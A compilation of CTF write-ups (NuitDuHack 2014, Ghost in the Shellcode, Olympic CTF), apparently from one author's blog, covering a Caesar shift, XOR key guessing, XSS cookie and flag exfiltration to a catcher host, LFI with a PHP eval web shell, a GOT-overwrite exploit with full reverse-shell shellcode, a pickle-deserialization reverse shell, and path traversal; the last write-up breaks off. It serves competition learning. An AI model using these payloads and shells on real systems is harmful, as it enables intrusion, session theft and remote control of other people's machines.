CTF

NuitDuHack 2014 Crypto Write Ups

Carbonara

We are given the following ciphertext:

%96 7=28 [email protected] E9:D 492= :D iQx>[email protected] xF=:FD r26D2C s:GFDQ]

A simple shift shows interesting results:

ciphertext = "%96 7=28 [email protected] E9:D 492= :D iQx>[email protected] xF=:FD r26D2C s:GFDQ]"  
size = len(ciphertext)  
for i in range(0,100):  
    result=""
    for c in ciphertext:
        if ord(c) > 126 or ord(c) < 33:
            result += c
        else:
            first = ord(c)+i
            if first > 90:
                first = 64 + (first - 90)
            result += chr(first)
    print(result)

Here is were the history classes prove valuable, flag is:

Imperator Iulius Caesar Divus

Worthless

We are given a bunch of 0's and 1's.

00010111000001110001010001100011 00001001000111010000001000001000 01110001000001010000000000000011  
01100011000110110001100100001010 00011100011100010000000000000111 00010000000011110110111100011000  
00010000011011110001011100001111 00000000000100100000000000000110 00011111000000100001101000010010  
00001010000000010001100000001011 00000110000111010000101000011111 00011000000011110000011000010111  
00001010000011000001000000010111 00000110000111100000110101100001  

If we group them by bytes we get a 56 length binary. Our favorite xor key guessing tool: xortool by Hellman shows that a key of length 3n is possible. However it fails decrypting the message with " " (supposing it is a text) as the most frequent char. That is normal in such short texts. The idea to solve it is to pass all characters as most frequent chars for the analysis and then grep the results for words you may be expecting such "flag".

from xortool.xortool import process  
import os

def search(text):  
    rootdir = './xortool_out'
    for subdir, dirs, files in os.walk(rootdir):
        for file in files:
            if ".out" in file:
                f = open(os.path.join(subdir,file),'r')
                contents = f.read()
                if text in contents:
                    print "\"%s\" found at %s: %s" % (text, os.path.join(subdir,file), contents,)

original = "0001011100000111000101000110001100001001000111010000001000001000011100010000010100000000000000110110001100011011000110010000101000011100011100010000000000000111000100000000111101101111000110000001000001101111000101110000111100000000000100100000000000000110000111110000001000011010000100100000101000000001000110000000101100000110000111010000101000011111000110000000111100000110000101110000101000001100000100000001011100000110000111100000110101100001"  
bytes = []  
for i in range(0,len(original),8):  
    test = hex(int(original[i:i+8], 2))
    bytes.append(test[2:].zfill(2))
ciphertext = ''.join(bytes).decode('hex')


# try lower letters as most frequest chars
process(ciphertext, [i for i in range(97,122)])  
search("lag")

# try upper letters as most frequest chars
process(ciphertext, [i for i in range(65,90)])  
search("LAG")  

The result of running the script:

Voila!

NuitDuHack 2014 Web Write Ups

Web 100: Abitol

This is a simple web app where you can register and login to see an articles page, a photo gallery, a flag page and an admin contact page.

Visiting the flag page give us a Nice try, did you really think it would be that easy? ;) but the photo gallery is vulnerable to XSS:

http://abitbol.nuitduhack.com/zoom.php?image=1%3E%3Cscript%3Ealert%281%29%3C/script%3E

Now, we dont know how the admin contact will be visualized in the viewer page, but we can try to send him a message with an iframe pointing to the vulnerable page so we can send his session ID to our cookie catcher or use XHR to request the flag.php page and send us the flag. Both options work, but the second is slighlty better since the time frame where the session ID is valid is very narrow:

<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>flag = new XMLHttpRequest(); flag.open('GET','/flag.php',false); flag.send(); flag.open('GET','http://ctf.pwntester.com/catcher.php?data='+flag.response); flag.send();</script>" />  
<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>document.location="http://ctf.pwntest.com/catcher.php?data="+document.cookie</script>" />  

After waiting a few minutes, the flag is waiting for us in the catcher:

Web 300: Titanoreine

This is a photo gallery where we can upload any image to the site. That seems the first attack vector, the second one is that it allows you to change the language and the parameter to do that is lang=(eng|fr).php which looks vulnerable to LFI. After some trials, you can include any local file in the root directory by going down three levels. Eg: ../../../upload.php

If we include the default images in the gallery system, we can see that only 2.jpg is included as binary garbage in the page:

However if we download the original image and upload it again with a different name, the new image cannot be included and the LFI just show an empty page. So there seems to be some kind of conversion going on. Comparing the EXIF data of the original and converted ones, we can see that is being compressed by gd library with quality 98:

We will compress it locally so that it does not suffer any conversion in the server (actually the server still changes the image, but probability of screwing up the php code are smaller):

$image = imagecreatefromjpeg('avatar.jpg');
imagejpeg($image,'avatar_lq.jpg',98);  

Uploading the new compressed image to the site and including it via the LFI works now. All we have to do now is include a PHP shell. It turns out that many PHP commands seems to be forbidden by the server so we ended up using eval: <?php eval($_GET['a']); ?>

Update: During the CTF, we were lucky to find another team JPG so that we could slightly modufy it and use it. Modifying a JPG so that the changes survide a GD compression is not an easy task, but will try to explain in a following post.

With that in place we can start sending commands to the server. First we can exfiltrate the code using highlight_file():

index.php

functions.php

upload.php

In order to get the flag, I used a directoryIterator since many other options were cut off:

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('./'));while($it->valid()){echo $it->getSubPathName()."</br>";$it->next();}

The flag is hidden in the unsuspicious file:

Voila!

Thanks to in3pids, @SaxX and the organization for such a fun CTF!

Ghost in the Shellcode: TI-1337 Pwnable

In this level we were presented with an ELF 64bits executable, a good oportunity to exercise linux exploiting on 64bits systems and try Hopper for the first time :)

When you run the binary, it begins listening in port 31415 (pi!) but if we try to connect, it complains about a missing user "gambino". So we have to create the user. Once created, if we try to connect to the service we get nothing. We can send arbitrary data and if we send strings we get a "Unknown op 'your string here'" error, so it seems like its waiting for commands. Sending numbers dont return any errors.

Since its a network service, we can assume its using fork to spawn new process to attend the incoming requests. We will be using Hopper to dissasamble and revere the binary. So first thing to do is find if there is a fork and of so replace it with a NOP instruction that also sets RAX to 0 so the program can continue as if it was the child process.

fork() call can be found at 0x0000000000400f65 (E8 06 FD FF FF) and if you dont want to be setting gdb to follow child processes, you can use an hex editor to replace it with xor eax,eax; nop; nop; nop (31 c0 90 90 90) as suggested in this post

If the fork goes ok, the child runs this code that uses "call rax" to jump to the main routine. I used gdb to find out the value of rax at that point that turns out to be 0x401567

The first thing it does here is calling a function (sub401395) that we will rename to receivecommand since thats exactly what it does. When it receives data, it stores it in a buffer of 256 bytes that we cannot overflow. When it receives a line terminator (0x0a), it scans the value using sscanf and "%lg" as the format string which stands for a double (number with up to six digits of precision). If the scan is successful the value is stored in an structure along with a 0x1 to indicate its a double value. Any other non numeric value is stored in the same structure but using 0x2 to indicate it was not a number.

Back in the main routine, it checks the structure returned and if it was numeric it calls a function (sub_40149f) that copies the value in a memory area that behaves like a stack, growing to higher memory values. This stack stores the total number of items stored in the first qword followed by a null qword and then the stored items:

gdb-peda$ x/64x $rdx  
0x603140:   0x0000000000000001  0x0000000000000000   <- Beggining of the stack (# items - 0x0)  
0x603150:   0x3ff0000000000000  0x0000000000000000   <- (1st item - not used yet)  
0x603160:   0x0000000000000000  0x0000000000000000   <- (not used yet - not used yet)  

If the command sent was not numeric, it uses a jump table (switch) to process the operand. If the command received is bigger than 0x71 = ‘q’ it quits with a "non valid op" error. If its between 0x0 and 0x50 it uses the jump table that after an initial analysis seems to be waiting for the following commands: +,-,*,/,^,!,b,c,.

This looks like a calculator so we try to send some operations and find out what these commands are used for. It turns out to be a reverse notation calculator where you first enter the values and then the operand. This is the meaning of the following operands:

  • +: Adds the two values on the top of the stack
  • -: Same but substracts
  • *: Multiply
  • /: Division
  • !: ¿?¿?
  • ^: power
  • b: pops a value from the stack and prints the value
  • c: clear the stack, moves the stack pointer to the beggining of the stack and initialize the counter but does not erase stored values.
  • .: prints the value on the top of the stack

Note that Hopper cannot reverse the jump table correctly.

Ok, so the vulnerability here is that "b" pop items from the calculator stack but does not check if it reaches the bottom. So we can pop as many values as we want and then send doubles that will be stored in any memory location before the calculator stack. And what do we have there??

gdb-peda$ x/64x $rdx - 256  
0x603040 <[email protected]>:  0x0000000000400b16  0x00007ffff78a0250  
0x603050 <[email protected]>:   0x00007ffff78c1b90  0x0000000000400b46  
0x603060 <[email protected]>:   0x00007ffff78c1b80  0x00007ffff78546d0  
0x603070 <[email protected]>: 0x0000000000400b76  0x0000000000400b86  
0x603080 <[email protected]>:   0x00007ffff789fa20  0x00007ffff7879df0  
0x603090 <[email protected]>:   0x00007ffff77efdb0  0x00007ffff7803380  
0x6030a0 <[email protected]>:    0x00007ffff787b670  0x0000000000400be6  
0x6030b0 <[email protected]>: 0x0000000000400bf6  0x00007ffff7828fd0  
0x6030c0 <[email protected]>:  0x00007ffff78ac820  0x00007ffff78ac700  
0x6030d0 <[email protected]>:  0x00007ffff787db90  0x00007ffff78ac6a0  
0x6030e0 <[email protected]>:    0x0000000000400c56  0x00007ffff787db30  
0x6030f0 <[email protected]>:    0x0000000000400c76  0x00007ffff78acbb0  
0x603100:   0x0000000000000000  0x0000000000000000  
0x603110:   0x0000000000007ab7  0x0000000000401a10  
0x603120:   0x0000000000000000  0x0000000000000000  
0x603130:   0x0000000000000000  0x0000000000000000  
0x603140:   0x0000000000000001  0x0000000000000000   <- Beggining of the stack (# items - 0x0)  
0x603150:   0x3ff0000000000000  0x0000000000000000   <- (1st item - not used yet)  
0x603160:   0x0000000000000000  0x0000000000000000   <- (not used yet - not used yet)  

The GOT!!!! So we can overwrite any entry in the GOT so that when that function gets called, the program flow will jump to the address we can set there. So we can store our shellcode in the calculator stack and then clear it (not erasing the shellcode) and then pop 38 items so that next value we send will effectively overwrite the GOT entry for recv() with the address of the begining of our shellcode. Next call to recv() will be replaced with a call to our shellcode. Only problem here is that we need to send doubles and account for how they are going to be stored in memory. I couldnt get it working in python (struct.unpack("d", value)) since the precision was not accurate and I couldnt control the values to be written in the stack, so I borrowed the converter used in this post .... yep, I cheated, damn python!

Using that converter:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, const char *argv[]) {

        /* The address and port for the shellcode */
        #define SCPORT "\x41\x41" /* 16705 */
        #define SCIPADDR "\xc0\xa8\xef\x90" /* 192.168.239.144 */

        /* The shellcode */
        char shellcode[] =
          "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
          "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
          "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
          "\x02"SCPORT"\xc7\x44\x24\x04"SCIPADDR"\x48\x89\xe6\x6a\x10"
          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
          "\x5f\x6a\x3b\x58\x0f\x05"
          /* End with a bunch of NOPs to make sure it's a multiple of 8 */
          "\x90\x90\x90\x90\x90\x90\x90\x90";


        int i;
        for(i = 0; i < strlen(shellcode); i += 8) {
          char buf[1024];
          double d;

          /* Convert the value to a double */
          memcpy(&d, shellcode + i, 8);

          /* Turn the double into a string */
          sprintf(buf, "%.127lg\n", d);
          printf("%s", buf);
        }
        exit(0);
}

This program will generate the doubles we need to send in order to place our shellcode that will look like this:

gdb-peda$ x/64x $rdx  
0x603140:   0x0000000000000010  0x0000000000000000  
0x603150:   0x3148ff3148c03148  0x6ac0314dd23148f6  <--- shellcode  
0x603160:   0x5a066a5e016a5f02  0xc08949050f58296a  
0x603170:   0x5241d2314df63148  0x2444c766022404c6  
0x603180:   0xc0042444c7414102  0x106ae6894890efa8  
0x603190:   0x0f582a6a5f50415a  0x485e036af6314805  
0x6031a0:   0x75050f58216aceff  0x5a5e5757ff3148f6  
0x6031b0:   0x2f6e69622f2fbf48  0x545708efc1486873  
0x6031c0:   0x9090050f583b6a5f  0x0000909090909090  <---- ending nops  
0x6031d0:   0x0000000000000000  0x0000000000000000  

and my exploit:

import socket  
import struct  
import subprocess  
import time

host = "localhost"  
port = 31415

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))

cmd="/home/pwntester/Desktop/gits-2014/ti-1337/convert"  
result = subprocess.check_output(cmd, shell=True)  
lines = result.split("\n")  
print "[+] Sending shellcode"  
for line in lines:  
        if line != "":
                print "[+] Sending: " + line
                s.send(line + '\n')

print "[+] Clearing Stack"  
s.send('c\n')  
print "[+] Popping my way to [email protected]"  
for i in xrange(38):  
        s.send('b\n')
print "[+] Replacing [email protected] with shellcode address"  
s.send('2261634.5098039214499294757843017578125\n')  # 0x4141414141414141  
time.sleep(1)  
s.close()  

Executing this exploit will place 41414141414141 in the GOT entry for recv() so we should get a crash:

gdb-peda$  
Program received signal SIGSEGV, Segmentation fault.  
[----------------------------------registers-----------------------------------]
RAX: 0x8  
RBX: 0x0  
RCX: 0x0  
RDX: 0x1  
RSI: 0x7fffffffe29f --> 0x10a  
RDI: 0x8  
RBP: 0x7fffffffe2b0 --> 0x7fffffffe3f0 --> 0x7fffffffe530 --> 0x7fffffffe560 --> 0x7fffffffe590 --> 0x0  
RSP: 0x7fffffffe268 --> 0x401357 (mov    QWORD PTR [rbp-0x10],rax)  
RIP: 0x400ad0 (<[email protected]>:  jmp    QWORD PTR [rip+0x20254a]        # 0x603020 <[email protected]>)  
R8 : 0x0  
R9 : 0x600000 ('')  
R10: 0x0  
R11: 0x7ffff7854b0d (ret)  
R12: 0x400c90 (xor    ebp,ebp)  
R13: 0x7fffffffe670 --> 0x1  
R14: 0x0  
R15: 0x0  
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)  
0x0000000000400ad0 in [email protected] ()  
gdb-peda$ x/1x 0x000603020  
0x603020 <[email protected]>:    0x4141414141414141  

Nice, we can now overwrite the GOT entry with our shellcode address (0x0000000000603150) using this double: 3.114629356634885514212623795744696989099126200464912460920046189338858451871977588458999392410662226841627927565265440233180118e-317

gdb-peda$ x/x 0x603020  
0x603020 <[email protected]>:    0x0000000000603150  

We successfully owerwrite the GOT entry with the shellcode address and we get our shell back:

[email protected]:~# nc -lvp 16705  
nc: listening on :: 16705 ...  
nc: listening on 0.0.0.0 16705 ...  
nc: connect to 192.168.239.144 16705 from 192.168.239.144 (192.168.239.144) 50403 [50403]  
pwd  
/home/gambino
id  
uid=1001(gambino) gid=1000(gambino) groups=1000(gambino)  

Olympic CTF CURLing500 Write Up

We didnt have time to finish this task during the game since we decided to finish Freestyle 400 (scored in the last minute) but as I foound out later, we were close to finish it.

In this level we were presented with a login form vulnerable to user enumeration. It was easy to see that admin was a valid user but we could not guess the password. After trying with other "normal" accounts like guest, dev and so on, we found that debug was a valid account and the password was debug. Nice, we were in.

Then we were presented with a console to enter and run our code. Simple evaluations like "1+1" and "'some'.concat('thing')" worked. What gave us more details was entering "help":

function (x) { if (x == "mr") { print("\nSee also http://dochub.mongodb.org/core/mapreduce"); print("\nfunction mapf() {"); print(" // 'this' holds current document to inspect"); print(" emit(key, value);"); print("}"); print("\nfunction reducef(key,value_array) {"); print(" return reduced_value;"); print("}"); print("\ndb.mycollection.mapReduce(mapf, reducef[, options])"); print("\noptions"); print("{[query : <query filter object>]"); print(" [, sort : <sort the query. useful for optimization>]"); print(" [, limit : <number of objects to return from collection>]"); print(" [, out : <output-collection name>]"); print(" [, keeptemp: <true|false>]"); print(" [, finalize : <finalizefunction>]"); print(" [, scope : <object where fields go into javascript global scope >]"); print(" [, verbose : true]}\n"); return; } else if (x == "connect") { print("\nNormally one specifies the server on the mongo shell command line. Run mongo --help to see those options."); print("Additional connections may be opened:\n"); print(" var x = new Mongo('host[:port]');"); print(" var mydb = x.getDB('mydb');"); print(" or"); print(" var mydb = connect('host[:port]/mydb');"); print("\nNote: the REPL prompt only auto-reports getLastError() for the shell command line connection.\n"); return; } else if (x == "keys") { print("Tab completion and command history is available at the command prompt.\n"); print("Some emacs keystrokes are available too:"); print(" Ctrl-A start of line"); print(" Ctrl-E end of line"); print(" Ctrl-K del to end of line"); print("\nMulti-line commands"); print("You can enter a multi line javascript expression. If parens, braces, etc. are not closed, you will see a new line "); print("beginning with '...' characters. Type the rest of your expression. Press Ctrl-C to abort the data entry if you"); print("get stuck.\n"); } else if (x == "misc") { print("\tb = new BinData(subtype,base64str) create a BSON BinData value"); print("\tb.subtype() the BinData subtype (0..255)"); print("\tb.length() length of the BinData data in bytes"); print("\tb.hex() the data as a hex encoded string"); print("\tb.base64() the data as a base 64 encoded string"); print("\tb.toString()"); print(); print("\tb = HexData(subtype,hexstr) create a BSON BinData value from a hex string"); print("\tb = UUID(hexstr) create a BSON BinData value of UUID subtype"); print("\tb = MD5(hexstr) create a BSON BinData value of MD5 subtype"); print("\t\"hexstr\" string, sequence of hex characters (no 0x prefix)"); print(); print("\to = new ObjectId() create a new ObjectId"); print("\to.getTimestamp() return timestamp derived from first 32 bits of the OID"); print("\to.isObjectId"); print("\to.toString()"); print("\to.equals(otherid)"); print(); print("\td = ISODate() like Date() but behaves more intuitively when used"); print("\td = ISODate('YYYY-MM-DD hh:mm:ss') without an explicit \"new \" prefix on construction"); return; } else if (x == "admin") { print("\tls([path]) list files"); print("\tpwd() returns current directory"); print("\tlistFiles([path]) returns file list"); print("\thostname() returns name of this host"); print("\tcat(fname) returns contents of text file as a string"); print("\tremoveFile(f) delete a file or directory"); print("\tload(jsfilename) load and execute a .js file"); print("\trun(program[, args...]) spawn a program and wait for its completion"); print("\trunProgram(program[, args...]) same as run(), above"); print("\tsleep(m) sleep m milliseconds"); print("\tgetMemInfo() diagnostic"); return; } else if (x == "test") { print("\tstartMongodEmpty(args) DELETES DATA DIR and then starts mongod"); print("\t returns a connection to the new server"); print("\tstartMongodTest(port,dir,options)"); print("\t DELETES DATA DIR"); print("\t automatically picks port #s starting at 27000 and increasing"); print("\t or you can specify the port as the first arg"); print("\t dir is /data/db/<port>/ if not specified as the 2nd arg"); print("\t returns a connection to the new server"); print("\tresetDbpath(dirpathstr) deletes everything under the dir specified including subdirs"); print("\tstopMongoProgram(port[, signal])"); return; } else if (x == "") { print("\t" + "db.help() help on db methods"); print("\t" + "db.mycoll.help() help on collection methods"); print("\t" + "sh.help() sharding helpers"); print("\t" + "rs.help() replica set helpers"); print("\t" + "help admin administrative help"); print("\t" + "help connect connecting to a db help"); print("\t" + "help keys key shortcuts"); print("\t" + "help misc misc things to know"); print("\t" + "help mr mapreduce"); print(); print("\t" + "show dbs show database names"); print("\t" + "show collections show collections in current database"); print("\t" + "show users show users in current database"); print("\t" + "show profile show most recent system.profile entries with time >= 1ms"); print("\t" + "show logs show the accessible logger names"); print("\t" + "show log [name] prints out the last segment of log in memory, 'global' is default"); print("\t" + "use <db_name> set current database"); print("\t" + "db.foo.find() list objects in collection foo"); print("\t" + "db.foo.find( { a : 1 } ) list objects in foo where a == 1"); print("\t" + "it result of the last line evaluated; use to further iterate"); print("\t" + "DBQuery.shellBatchSize = x set default number of items to display on shell"); print("\t" + "exit quit the mongo shell"); } else print("unknown help option"); }.  

Nice, a bunch of useful information, specially the references to MongoDB. Since it seems that we were working we Mongo, we entered the following commands:

db.getMongo().getDBNames()  
         [u'admin', u'web500', u'local', u'flag', u'flags'].
db.getCollectionNames()  
         [u'lulz', u'system.indexes', u'system.users', u'users'].
db.users.findOne()  
         {u'login': u'debug', u'_id': ObjectId('52f661f917c6f07b4987ec03'), u'pwd': u'debug'}.
db.users.find().toArray()  
         [{u'login': u'debug', u'_id':  ObjectId('52f661f917c6f07b4987ec03'), u'pwd': u'debug'},
         {u'login':  u'admin', u'_id': ObjectId('52f6623c17c6f07b4987ec04'), u'pwd':  u'firststeptoflag-done'}].

Pretty cool, now we have the admin credentials and can log in as administrator.

When logged in as admin, we could see a form with two fields: a base64 encoded text and a signature to submit the base64 "command":

eyJib2R5IjogImdBSjljUUVvVlFkbGVIQnBjbVZ6Y1FKT1ZRTjFkR054QTRoVkJHRnlaM054QkVzWFN5cUdjUVZWQldOb2IzSmtjUVpPVlFsallXeHNZbUZqYTNOeEIwNVZDR1Z5Y21KaFkydHpjUWhPVlFkMFlYTnJjMlYwY1FsT1ZRSnBaSEVLVlNSaE0yUTVZems0Tmkxak5EWXhMVFExWmpBdE9UTm1ZUzA1WWpCbE9USTVZVEppTXpkeEMxVUhjbVYwY21sbGMzRU1Td0JWQkhSaGMydHhEVlVOWVhCd0xuUmxjM1JmZEdGemEzRU9WUWwwYVcxbGJHbHRhWFJ4RDA1T2hsVURaWFJoY1JCT1ZRWnJkMkZ5WjNOeEVYMXhFblV1IiwgImhlYWRlcnMiOiB7fSwgImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi94LXB5dGhvbi1zZXJpYWxpemUiLCAicHJvcGVydGllcyI6IHsiYm9keV9lbmNvZGluZyI6ICJiYXNlNjQiLCAiY29ycmVsYXRpb25faWQiOiAiYTNkOWM5ODYtYzQ2MS00NWYwLTkzZmEtOWIwZTkyOWEyYjM3IiwgInJlcGx5X3RvIjogIjAxOTI1YTNmLTE3ZDUtM2YzYy1iMDg2LTZjNzFiZTBlMmI1MCIsICJkZWxpdmVyeV9pbmZvIjogeyJwcmlvcml0eSI6IDAsICJyb3V0aW5nX2tleSI6ICJjZWxlcnkiLCAiZXhjaGFuZ2UiOiAiY2VsZXJ5In0sICJkZWxpdmVyeV9tb2RlIjogMiwgImRlbGl2ZXJ5X3RhZyI6IDF9LCAiY29udGVudC1lbmNvZGluZyI6ICJiaW5hcnkifQ==  
9ce5b4b977d4cdd5941dfad4da1b2c9fc47a35e3a68f80e43f3ea2145c694405  

If we decode the command we got:

{"body": "gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsXSyqGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSRhM2Q5Yzk4Ni1jNDYxLTQ1ZjAtOTNmYS05YjBlOTI5YTJiMzdxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUNYXBwLnRlc3RfdGFza3EOVQl0aW1lbGltaXRxD05OhlUDZXRhcRBOVQZrd2FyZ3NxEX1xEnUu", "headers": {}, "content-type": "application/x-python-serialize", "properties": {"body_encoding": "base64", "correlation_id": "a3d9c986-c461-45f0-93fa-9b0e929a2b37", "reply_to": "01925a3f-17d5-3f3c-b086-6c71be0e2b50", "delivery_info": {"priority": 0, "routing_key": "celery", "exchange": "celery"}, "delivery_mode": 2, "delivery_tag": 1}, "content-encoding": "binary"}

The content-type: x-python-serialize tell us that the body is some kind of serialized python code. If we decode it:

€}q(UexpiresqNUutcqˆUargsqKK*†qUchordqNU    callbacksqNUerrbacksqNUtasksetq NUidq
U$a3d9c986-c461-45f0-93fa-9b0e929a2b37q  
Uretriesq  
K  

There was also a binary called signer-striped available for download. So it seems we can serialize our payload with pickle, sign it using the signer and submit the payload and the signature.

The first problem is that the signer is a arm64 binary:

€signer-striped: ELF 64-bit LSB executable, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.7.0, BuildID[sha1]=0xef4ad560b1f9a141560710535a904093212a8a22, stripped

We have to set up a chroot with qemu-arm64 to emulate the hardware and be able to run the signer. Now, lets go for the payload.

This is as far as we got during the game since we didnt have time and decided to go for the Freestyle400 one. I tried to solve it but the CTF VMs are down so the rest is just how I think the task was solved based on the request posted by @maciekkotowicz in the IRC channel. I decided to post this entry since there are no write-ups in the web and the last part was interesting.

The request posted in pastebin can be decoded to:

{"body": "Y3R5cGVzCkZ1bmN0aW9uVHlwZQooY21hcnNoYWwKbG9hZHMKKGNiYXNlNjQKYjY0ZGVjb2RlCihTJ1l3QUFBQUFGQUFBQUF3QUFBRU1BQUFCem1BQUFBSFFBQUdRQkFJTUJBSDBBQUhRQUFHUUNBSU1CQUgwQkFIUUFBR1FEQUlNQkFIMENBSHdBQUdvQkFJTUFBSDBEQUh3REFHb0NBR1FMQUlNQkFBRjhBZ0JxQXdCOEF3QnFCQUNEQUFCa0JnQ0RBZ0FCZkFJQWFnTUFmQU1BYWdRQWd3QUFaQWNBZ3dJQUFYd0NBR29EQUh3REFHb0VBSU1BQUdRSUFJTUNBQUY4QVFCcUJRQmtDUUJrQ2dCbkFnQ0RBUUI5QkFCa0FBQlRLQXdBQUFCT2RBWUFBQUJ6YjJOclpYUjBDZ0FBQUhOMVluQnliMk5sYzNOMEFnQUFBRzl6Y3d3QUFBQTVOQzR5TXk0eU1URXVPREpwT0JBQUFHa0FBQUFBYVFFQUFBQnBBZ0FBQUhNSEFBQUFMMkpwYmk5emFITUNBQUFBTFdrb0FnQUFBSE1NQUFBQU9UUXVNak11TWpFeExqZ3lhVGdRQUFBb0JnQUFBSFFLQUFBQVgxOXBiWEJ2Y25SZlgxSUFBQUFBZEFjQUFBQmpiMjV1WldOMGRBUUFBQUJrZFhBeWRBWUFBQUJtYVd4bGJtOTBCQUFBQUdOaGJHd29CUUFBQUhRQ0FBQUFjM04wQWdBQUFITndVZ0lBQUFCMEFRQUFBSE4wQVFBQUFIQW9BQUFBQUNnQUFBQUFjd2tBQUFBdmRHMXdMM2N1Y0hsMEF3QUFBSEIzYmdRQUFBQnpFZ0FBQUFBQkRBRU1BUXdCREFBTkFSWUFGZ0FXQVE9PScKdFJ0UmNfX2J1aWx0aW5fXwpnbG9iYWxzCih0UlMnJwp0Uih0Ui4=", "headers": {}, "content-type": "application/x-python-serialize", "properties": {"body_encoding": "base64", "correlation_id": "a3d9c986-c461-45f0-93fa-9b0e929a2b37", "reply_to": "01925a3f-17d5-3f3c-b086-6c71be0e2b50", "delivery_info": {"priority": 10, "routing_key": "celery", "exchange": "celery"}, "delivery_mode": 2, "delivery_tag": 1}, "content-encoding": "binary"}

We can see that the server accepted the same correlationid, replyto and delivery_info. If we decode the body:

ctypes  
FunctionType  
(cmarshal
loads  
(cbase64
b64decode  
(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcwwAAAA5NC4yMy4yMTEuODJpOBAAAGkAAAAAaQEAAABpAgAAAHMHAAAAL2Jpbi9zaHMCAAAALWkoAgAAAHMMAAAAOTQuMjMuMjExLjgyaTgQAAAoBgAAAHQKAAAAX19pbXBvcnRfX1IAAAAAdAcAAABjb25uZWN0dAQAAABkdXAydAYAAABmaWxlbm90BAAAAGNhbGwoBQAAAHQCAAAAc3N0AgAAAHNwUgIAAAB0AQAAAHN0AQAAAHAoAAAAACgAAAAAcwkAAAAvdG1wL3cucHl0AwAAAHB3bgQAAABzEgAAAAABDAEMAQwBDAANARYAFgAWAQ=='
tRtRc__builtin__  
globals  
(tRS''
tR(tR.  

This is easily recognozible as pickle serialized data and actually is a know template to execute code via pickle deserialization. You can find a nice post describing how does it work here, but basically what will be execute is the python code object (got via function.func_code) encoded with base64.

In order to generate the payload we can use the following python script:

import marshal  
import base64

def foo():  
    pass # PAYLOAD HERE

print """ctypes  
FunctionType  
(cmarshal
loads  
(cbase64
b64decode  
(S'%s'
tRtRc__builtin__  
globals  
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))  

We can reverse the process to figure out what was the payload used:

import marshal  
import base64

payload = "YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcwwAAAA5NC4yMy4yMTEuODJpOBAAAGkAAAAAaQEAAABpAgAAAHMHAAAAL2Jpbi9zaHMCAAAALWkoAgAAAHMMAAAAOTQuMjMuMjExLjgyaTgQAAAoBgAAAHQKAAAAX19pbXBvcnRfX1IAAAAAdAcAAABjb25uZWN0dAQAAABkdXAydAYAAABmaWxlbm90BAAAAGNhbGwoBQAAAHQCAAAAc3N0AgAAAHNwUgIAAAB0AQAAAHN0AQAAAHAoAAAAACgAAAAAcwkAAAAvdG1wL3cucHl0AwAAAHB3bgQAAABzEgAAAAABDAEMAQwBDAANARYAFgAWAQ=="  
p1 = base64.b64decode(payload);  
p2 = marshal.loads(p1);  
print p2.co_consts  
(None, 'socket', 'subprocess', 'os', '94.23.211.82', 4152, 0, 1, 2, '/bin/sh', '-i', ('94.23.211.82', 4152))

This looks like a reverse shell, so we can guess the payload function was something like:

def pwn():  
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("94.23.211.821",4152))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

According to @maciekkotowicz, once you got the shell you had to look for the flag in a RedisDB, but I didnt get the chance to try that.

Olympic CTF CURLing tasks

I had the honour to participate with int3pids in the #Olympic CTF and these are the write ups of the Web tasks we solved.

CURLing 200: Xnginx

In this level we were presented with a simple web site where we could check some news

First thing to notice is that the news URL is vulnerable to path transversal:

http://109.233.61.11:27280/news/?f=31-12-2013  
http://109.233.61.11:27280/news/?f=../../../../../etc/passwd  

Since the name of the task was xnginx I looked for the nginx configuration file:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/nginx.conf  

That returned the configuration file:

Looking at the configuration file we can see where the site configuration is stored so we issued another request to fetch the site config:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/sites-enabled/default  

Config file:

